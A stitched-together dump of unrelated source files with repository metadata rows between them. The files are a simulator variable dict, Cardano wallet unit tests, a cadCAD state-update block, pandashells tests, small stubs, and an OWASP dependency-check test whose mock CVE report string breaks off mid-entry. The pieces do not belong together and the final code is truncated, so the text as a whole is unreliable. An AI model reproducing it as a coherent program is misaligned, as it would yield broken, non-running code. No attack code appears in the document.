'KSWO262': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO263': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO264': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO265': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO266': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO267': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO268': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO269': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO270': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO271': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO272': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO273': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO274': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO275': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO276': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO277': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO278': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO279': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO280': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO319': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO320': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFZRUN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
# 자율운전 시스템 변수
#'AUTO_STAR_UP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
# Accident 변수
'Normal_0': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Normal_1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Accident_0': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Accident_1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Accident_2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Accident_3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Accident_4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'Accident_5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
}
return mem_dict | 86.001341 | 92 | 0.456548 | 26,709 | 192,385 | 3.121195 | 0.084241 | 0.213521 | 0.293328 | 0.106617 | 0.827072 | 0.827072 | 0.827072 | 0.827072 | 0.827072 | 0.827072 | 0 | 0.051133 | 0.24308 | 192,385 | 2,237 | 93 | 86.001341 | 0.521343 | 0.00053 | 0 | 0 | 0 | 0 | 0.155445 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.000897 | false | 0.000448 | 0.000448 | 0 | 0.002242 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5a55854dea55784d63a0ab00464c631910f001dd | 6,712 | py | Python | tests/unit/plugins/modules/test_cardano_wallet.py | grzegorznowak/cardano-node-role | 8e3e7679bd01799263898b83525a8c27ba770874 | [
"MIT"
] | 4 | 2021-09-23T17:06:09.000Z | 2022-02-09T14:38:41.000Z | tests/unit/plugins/modules/test_cardano_wallet.py | grzegorznowak/cardano-node-role | 8e3e7679bd01799263898b83525a8c27ba770874 | [
"MIT"
] | 15 | 2021-09-19T20:58:24.000Z | 2022-02-15T08:17:56.000Z | tests/unit/plugins/modules/test_cardano_wallet.py | grzegorznowak/cardano-node-role | 8e3e7679bd01799263898b83525a8c27ba770874 | [
"MIT"
] | null | null | null | import pytest
from library.cardano_wallet import (
collect_wallets,
BrokenWalletsError,
IncorrectWalletNameError,
build_wallet_cmds
)
VKEY_FILE = "vkey"
SKEY_FILE = "skey"
ADDR_FILE = "addr"
def test_new_wallets(tmp_path):
with pytest.raises(IncorrectWalletNameError):
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=[" "],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=[],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
assert len(wallets_info['existing']) == 0
assert len(wallets_info['new']) == 0
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
assert len(wallets_info['existing']) == 0
assert len(wallets_info['new']) == 1
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1", "wallet2"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
assert len(wallets_info['existing']) == 0
assert len(wallets_info['new']) == 2
def test_existing_wallets(tmp_path):
d = tmp_path / "wallet1"
d.mkdir()
vkey = d / VKEY_FILE
skey = d / SKEY_FILE
addr = d / ADDR_FILE
vkey.touch()
skey.touch()
addr.touch()
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
assert len(wallets_info['existing']) == 1
assert len(wallets_info['new']) == 0
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1", "wallet2"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
assert len(wallets_info['existing']) == 1
assert len(wallets_info['new']) == 1
def test_broken_wallet(tmp_path):
# Should raise error when skey is not present
d = tmp_path / "wallet1"
d.mkdir()
vkey = d / VKEY_FILE
addr = d / ADDR_FILE
vkey.touch()
addr.touch()
with pytest.raises(BrokenWalletsError):
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
# Should raise error when vkey and skey are not present
d = tmp_path / "wallet2"
d.mkdir()
addr = d / ADDR_FILE
addr.touch()
with pytest.raises(BrokenWalletsError):
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet2"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
# Should raise error when vkey is not present
d = tmp_path / "wallet3"
d.mkdir()
vkey = d / SKEY_FILE
addr = d / ADDR_FILE
vkey.touch()
addr.touch()
with pytest.raises(BrokenWalletsError):
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet3"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
def test_testnet_wallet_cmds(tmp_path):
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
new_wallets = wallets_info['new']
wallet_cmds = [build_wallet_cmds(active_network="test",
testnet_magic="123",
cardano_bin_path="dummy_path",
wallet=wallet)
for wallet in new_wallets]
assert len(wallet_cmds) == 1
assert len(wallet_cmds[0]) == 3 # one for keys one for address
assert wallet_cmds[0][0] == "mkdir -p {}/wallet1".format(str(tmp_path))
assert wallet_cmds[0][1] == "dummy_path/cardano-cli address key-gen " \
"--verification-key-file {0}/wallet1/vkey " \
"--signing-key-file {0}/wallet1/skey".format(str(tmp_path))
assert wallet_cmds[0][2] == "dummy_path/cardano-cli address build " \
"--payment-verification-key-file {0}/wallet1/vkey " \
"--out-file {0}/wallet1/addr " \
"--testnet-magic 123".format(str(tmp_path))
def test_mainnet_wallet_cmds(tmp_path):
wallets_info = collect_wallets(wallets_path=tmp_path,
wallet_names=["wallet1"],
vkey_file=VKEY_FILE,
skey_file=SKEY_FILE,
addr_file=ADDR_FILE)
new_wallets = wallets_info['new']
wallet_cmds = [build_wallet_cmds(active_network="main",
testnet_magic="",
cardano_bin_path="dummy_path",
wallet=wallet)
for wallet in new_wallets]
assert len(wallet_cmds) == 1
assert len(wallet_cmds[0]) == 3 # one for keys one for address
assert wallet_cmds[0][2] == "dummy_path/cardano-cli address build " \
"--payment-verification-key-file {0}/wallet1/vkey " \
"--out-file {0}/wallet1/addr " \
"--mainnet".format(str(tmp_path))
| 38.136364 | 91 | 0.493296 | 669 | 6,712 | 4.644245 | 0.107623 | 0.06952 | 0.084969 | 0.08851 | 0.826521 | 0.812359 | 0.791439 | 0.791439 | 0.775668 | 0.764081 | 0 | 0.014887 | 0.419547 | 6,712 | 175 | 92 | 38.354286 | 0.782598 | 0.029648 | 0 | 0.735294 | 0 | 0 | 0.092208 | 0.023206 | 0 | 0 | 0 | 0 | 0.132353 | 1 | 0.036765 | false | 0 | 0.014706 | 0 | 0.051471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5a62c3da03644604d98dc02a708ad15cdc936663 | 107 | py | Python | environment/blueprints/__init__.py | LamerLink/instant_flask | 0464197f220c0a1bf7eff7e58da7bafac8fe5cc6 | [
"MIT"
] | null | null | null | environment/blueprints/__init__.py | LamerLink/instant_flask | 0464197f220c0a1bf7eff7e58da7bafac8fe5cc6 | [
"MIT"
] | null | null | null | environment/blueprints/__init__.py | LamerLink/instant_flask | 0464197f220c0a1bf7eff7e58da7bafac8fe5cc6 | [
"MIT"
] | null | null | null | from blueprints.admin_bp import *
from blueprints.download_ex_bp import *
from blueprints.home_bp import *
| 26.75 | 39 | 0.831776 | 16 | 107 | 5.3125 | 0.5 | 0.494118 | 0.282353 | 0.517647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11215 | 107 | 3 | 40 | 35.666667 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 9 |
5a682944c27aa35deaa974ad395527b4ca60bc48 | 2,743 | py | Python | partial_state_update_block.py | matttyb80/riddler | 0e4952e780f586952e43be8526be3b44aea7448a | [
"MIT"
] | null | null | null | partial_state_update_block.py | matttyb80/riddler | 0e4952e780f586952e43be8526be3b44aea7448a | [
"MIT"
] | null | null | null | partial_state_update_block.py | matttyb80/riddler | 0e4952e780f586952e43be8526be3b44aea7448a | [
"MIT"
] | null | null | null | from functions import *
#----------------------MECHANISM AND BEHAVIOR DICTIONARY---------------
partial_state_update_block = [
# "AB_1":
{
"policies": {
'AB': AB #AB_executor('player_200')
},
"variables": {
'player_200' : AB_200,
'player_250' : AB_250,
'player_300' : AB_300,
'player_350' : AB_350,
'player_400' : AB_400,
'game_200' : game_hit_200,
'game_250' : game_hit_250,
'game_300' : game_hit_300,
'game_350' : game_hit_350,
'game_400' : game_hit_400,
}
},
# "AB_2":
{
"policies": {
'AB': AB #AB_executor('player_200')
},
"variables": {
'player_200' : AB_200,
'player_250' : AB_250,
'player_300' : AB_300,
'player_350' : AB_350,
'player_400' : AB_400,
'game_200' : game_hit_200,
'game_250' : game_hit_250,
'game_300' : game_hit_300,
'game_350' : game_hit_350,
'game_400' : game_hit_400,
}
},
# "AB_3":
{
"policies": {
'AB': AB #AB_executor('player_200')
},
"variables": {
'player_200' : AB_200,
'player_250' : AB_250,
'player_300' : AB_300,
'player_350' : AB_350,
'player_400' : AB_400,
'game_200' : game_hit_200,
'game_250' : game_hit_250,
'game_300' : game_hit_300,
'game_350' : game_hit_350,
'game_400' : game_hit_400,
}
},
# "AB_4":
{
"policies": {
'AB': AB #AB_executor('player_200')
},
"variables": {
'player_200' : AB_200,
'player_250' : AB_250,
'player_300' : AB_300,
'player_350' : AB_350,
'player_400' : AB_400,
'game_200' : game_hit_200,
'game_250' : game_hit_250,
'game_300' : game_hit_300,
'game_350' : game_hit_350,
'game_400' : game_hit_400,
}
},
]
| 34.721519 | 71 | 0.356908 | 231 | 2,743 | 3.74026 | 0.116883 | 0.162037 | 0.055556 | 0.064815 | 0.909722 | 0.909722 | 0.909722 | 0.909722 | 0.909722 | 0.909722 | 0 | 0.199222 | 0.531535 | 2,743 | 78 | 72 | 35.166667 | 0.473152 | 0.0751 | 0 | 0.732394 | 0 | 0 | 0.172537 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.014085 | 0 | 0.014085 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
5a6a2a6153930e7e7d520f611437026516e16628 | 1,623 | py | Python | pandashells/test/p_facet_grid_test.py | timgates42/pandashells | 4b565435a25ac713eeeacf28c3e5b52fe94530d8 | [
"BSD-2-Clause-FreeBSD"
] | 878 | 2015-08-02T02:07:20.000Z | 2022-01-15T19:06:47.000Z | pandashells/test/p_facet_grid_test.py | timgates42/pandashells | 4b565435a25ac713eeeacf28c3e5b52fe94530d8 | [
"BSD-2-Clause-FreeBSD"
] | 44 | 2015-05-12T15:56:57.000Z | 2021-01-13T20:58:29.000Z | pandashells/test/p_facet_grid_test.py | timgates42/pandashells | 4b565435a25ac713eeeacf28c3e5b52fe94530d8 | [
"BSD-2-Clause-FreeBSD"
] | 31 | 2015-08-02T22:48:36.000Z | 2021-01-13T20:54:58.000Z | #! /usr/bin/env python
from mock import patch
from unittest import TestCase
import pandas as pd
from pandashells.bin.p_facet_grid import main
class MainTests(TestCase):
@patch(
'pandashells.bin.p_facet_grid.sys.argv',
'p.facet_grid --row c --map pl.plot --args a b'.split())
@patch('pandashells.bin.p_facet_grid.io_lib.df_from_input')
@patch('pandashells.bin.p_facet_grid.plot_lib.show')
def test_no_kwargs(self, show_mock, input_mock):
import pylab as pl
df_in = pd.DataFrame([
{'a': 1, 'b': 10, 'c': 'alpha'},
{'a': 2, 'b': 20, 'c': 'alpha'},
{'a': 3, 'b': 30, 'c': 'beta'},
{'a': 4, 'b': 40, 'c': 'beta'},
])
input_mock.return_value = df_in
main()
self.assertEqual(len(pl.gcf().axes), 2)
self.assertTrue(show_mock.called)
@patch(
'pandashells.bin.p_facet_grid.sys.argv',
(
'p.facet_grid --row c --map pl.scatter '
'--args a b --kwargs s=100'.split()
)
)
@patch('pandashells.bin.p_facet_grid.io_lib.df_from_input')
@patch('pandashells.bin.p_facet_grid.plot_lib.show')
def test_with_kwargs(self, show_mock, input_mock):
import pylab as pl
df_in = pd.DataFrame([
{'a': 1, 'b': 10, 'c': 'alpha'},
{'a': 2, 'b': 20, 'c': 'alpha'},
{'a': 3, 'b': 30, 'c': 'beta'},
{'a': 4, 'b': 40, 'c': 'beta'},
])
input_mock.return_value = df_in
main()
self.assertEqual(len(pl.gcf().axes), 2)
self.assertTrue(show_mock.called)
| 31.823529 | 64 | 0.546519 | 230 | 1,623 | 3.673913 | 0.286957 | 0.063905 | 0.106509 | 0.16568 | 0.821302 | 0.792899 | 0.792899 | 0.792899 | 0.792899 | 0.792899 | 0 | 0.024744 | 0.27788 | 1,623 | 50 | 65 | 32.46 | 0.696246 | 0.012939 | 0 | 0.697674 | 0 | 0 | 0.264834 | 0.1599 | 0 | 0 | 0 | 0 | 0.093023 | 1 | 0.046512 | false | 0 | 0.139535 | 0 | 0.209302 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ce525eb2b41679b8e902a717c86c64a678cdd146 | 45 | py | Python | test-branch.py | uytera/git-learn-rep | c85275b163e1dca4a7788fdba53c2050510a3a1d | [
"MIT"
] | null | null | null | test-branch.py | uytera/git-learn-rep | c85275b163e1dca4a7788fdba53c2050510a3a1d | [
"MIT"
] | null | null | null | test-branch.py | uytera/git-learn-rep | c85275b163e1dca4a7788fdba53c2050510a3a1d | [
"MIT"
] | null | null | null | def test_branch():
print("test-branch")
| 11.25 | 24 | 0.644444 | 6 | 45 | 4.666667 | 0.666667 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177778 | 45 | 3 | 25 | 15 | 0.756757 | 0 | 0 | 0 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
ce5e5fd63f0bcf4d04825be7d9b3d994d839e919 | 136 | py | Python | src/file_tracking.py | phil-harmoniq/ucm | 1cf899566876cc0ec93483122e9a62ff6860000f | [
"MIT"
] | null | null | null | src/file_tracking.py | phil-harmoniq/ucm | 1cf899566876cc0ec93483122e9a62ff6860000f | [
"MIT"
] | null | null | null | src/file_tracking.py | phil-harmoniq/ucm | 1cf899566876cc0ec93483122e9a62ff6860000f | [
"MIT"
] | null | null | null | def register_file(path_given: str) -> None:
print(path_given)
def unregister_file(path_given: str) -> None:
print(path_given)
| 19.428571 | 45 | 0.720588 | 20 | 136 | 4.6 | 0.45 | 0.391304 | 0.282609 | 0.347826 | 0.73913 | 0.73913 | 0.73913 | 0.73913 | 0 | 0 | 0 | 0 | 0.161765 | 136 | 6 | 46 | 22.666667 | 0.807018 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 10 |
cea1683b4ec26ab537e247934e5be3ce268ddef7 | 21,199 | py | Python | tests/tool/open_source/test_owasp_depcheck.py | DrGruby/4depcheck | 4904cd04326ca698be714485afa474c4e699895d | [
"Apache-2.0"
] | 5 | 2017-12-02T14:06:50.000Z | 2020-09-28T23:43:42.000Z | tests/tool/open_source/test_owasp_depcheck.py | DrGruby/4depcheck | 4904cd04326ca698be714485afa474c4e699895d | [
"Apache-2.0"
] | 5 | 2018-01-06T14:18:18.000Z | 2021-07-27T18:26:42.000Z | tests/tool/open_source/test_owasp_depcheck.py | DrGruby/4depcheck | 4904cd04326ca698be714485afa474c4e699895d | [
"Apache-2.0"
] | 5 | 2018-01-06T14:17:43.000Z | 2021-07-14T12:21:38.000Z | #
# Licensed to 4depcheck under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. 4depcheck licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
import json
import os
import unittest
import shutil
from tool.open_source.owasp_depcheck import OwaspDepCheck
# -- Test suite
class OwaspDepCheckTestSuite(unittest.TestCase):
def test_get_type_java(self):
self.assertEqual(OwaspDepCheck('')._get_type('dependency.jar', '/home/user/dependency.jar'), 'java')
def test_get_type_js(self):
self.assertEqual(OwaspDepCheck('')._get_type('dependency.js', '/home/user/dependency.js'), 'js')
def test_get_type_python(self):
self.assertEqual(OwaspDepCheck('')._get_type('dependency.py', '/home/user/dependency.py'), 'python')
def test_get_type_ruby(self):
self.assertEqual(OwaspDepCheck('')._get_type('dependency.rb', '/home/user/dependency.rb'), 'ruby')
def test_get_type_php(self):
self.assertEqual(OwaspDepCheck('')._get_type('dependency.php', '/home/user/dependency.php'), 'php')
def test_get_type_unknown(self):
self.assertEqual(OwaspDepCheck('')._get_type('dependency.exe', '/home/user/dependency.exe'), 'unknown')
def test_generate_report(self):
shutil.copyfile('./tests/mock_files/dependency-check-report.json', '/tmp/dependency-check-report.json')
self.assertEqual(OwaspDepCheck('')._read_report(), json.loads(mock_owasp_dep_check_generated_repo))
os.remove('/tmp/dependency-check-report.json')
# -- Mock Constants
mock_owasp_dep_check_generated_repo='[{"cve_id": "CVE-2014-0107", "cve_product_version": "2.7.1", "cve_type": "java", "cve_product": "xalan-java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/apache/xalan/main/xalan-2.7.1.jbossorg-4.jar", "cve_severity": "high"}, {"cve_id": "CVE-1999-0428", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "high"}, {"cve_id": "CVE-2007-5536", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2009-0590", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2013-0169", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2014-0160", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0207", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0208", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0209", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0285", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0286", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0287", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0288", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0289", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0290", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0291", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-0293", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-1787", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "low"}, {"cve_id": "CVE-2015-1788", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-1789", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-1790", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-1791", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-1792", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-1794", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-3193", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_severity": "medium"}, {"cve_id": "CVE-2015-3194", "cve_product_version": "1.0.2", "cve_type": "java", "cve_product": "openssl", "cve_product_file_path": 